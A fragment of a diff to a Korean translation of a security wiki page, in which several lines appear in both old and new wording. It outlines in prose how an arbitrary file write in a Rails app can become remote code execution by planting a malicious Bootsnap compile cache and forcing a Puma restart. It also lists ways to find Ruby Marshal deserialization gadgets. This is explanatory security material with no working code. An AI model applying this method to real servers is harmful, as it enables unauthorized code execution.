Bootsnap의 FNV-1a 64비트 해시 메커니즘을 복제하여 올바른 캐시 파일 경로를 결정합니다. 이 단계는 악성 캐시 파일이 Bootsnap이 예상하는 정확한 위치에 배치되도록 보장합니다(예: tmp/cache/bootsnap/compile-cache-iseq/ 아래).
- 악성 캐시 파일 만들기
공격자는 다음을 수행하는 페이로드를 준비합니다:
- 임의의 명령을 실행합니다 (예: 프로세스 정보를 표시하기 위해 id 실행).
- 임의의 명령을 실행합니다(예: 프로세스 정보를 보여주기 위해 id 실행).
- 재귀적 악용을 방지하기 위해 실행 후 악성 캐시를 제거합니다.
- 애플리케이션이 중단되지 않도록 원본 파일(예: set.rb)을 로드합니다.
이 페이로드는 이진 Ruby 코드로 컴파일되고, 이전에 수집된 메타데이터와 Bootsnap에 대한 올바른 버전 번호를 사용하여 신중하게 구성된 캐시 키 헤더와 연결됩니다.
이 페이로드는 이진 Ruby 코드로 컴파일되고, 이전에 수집한 메타데이터와 Bootsnap의 올바른 버전 번호를 사용하여 신중하게 구성된 캐시 키 헤더와 연결됩니다.
- 덮어쓰기 및 실행 트리거
임의 파일 쓰기 취약점을 사용하여 공격자는 계산된 위치에 제작된 캐시 파일을 씁니다. 다음으로, 서버 재시작을 트리거합니다 (Puma가 모니터링하는 tmp/restart.txt에 쓰기). 재시작 중에 Rails가 대상 파일을 요구할 때, 악성 캐시 파일이 로드되어 원격 코드 실행(RCE)이 발생합니다.
임의 파일 쓰기 취약점을 사용하여 공격자는 계산된 위치에 제작된 캐시 파일을 씁니다. 다음으로, 서버 재시작을 트리거합니다(모니터링되는 tmp/restart.txt에 쓰기). 재시작 중에 Rails가 대상 파일을 요구할 때, 악성 캐시 파일이 로드되어 원격 코드 실행(RCE)이 발생합니다.
### Ruby Marshal exploitation in practice (updated)
@ -1043,11 +1043,11 @@ end
- 이진 객체 블롭의 사용자 정의 지속성 또는 전송
산업화된 가젯 발견:
- 생성자, `hash`, `_load`, `init_with` 또는 언마샬 중 호출되는 부작용 메서드에 대해 grep
- 생성자, `hash`, `_load`, `init_with` 또는 언마샬 중 호출되는 부작용 메서드에 대해 Grep 사용
- CodeQL의 Ruby 안전하지 않은 역직렬화 쿼리를 사용하여 소스 → 싱크를 추적하고 가젯을 표면화
- 공개 멀티 포맷 PoC(JSON/XML/YAML/Marshal)로 검증
- 공개 다중 형식 PoC(JSON/XML/YAML/Marshal)로 검증
## 참고 문헌
## References
- Trail of Bits Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/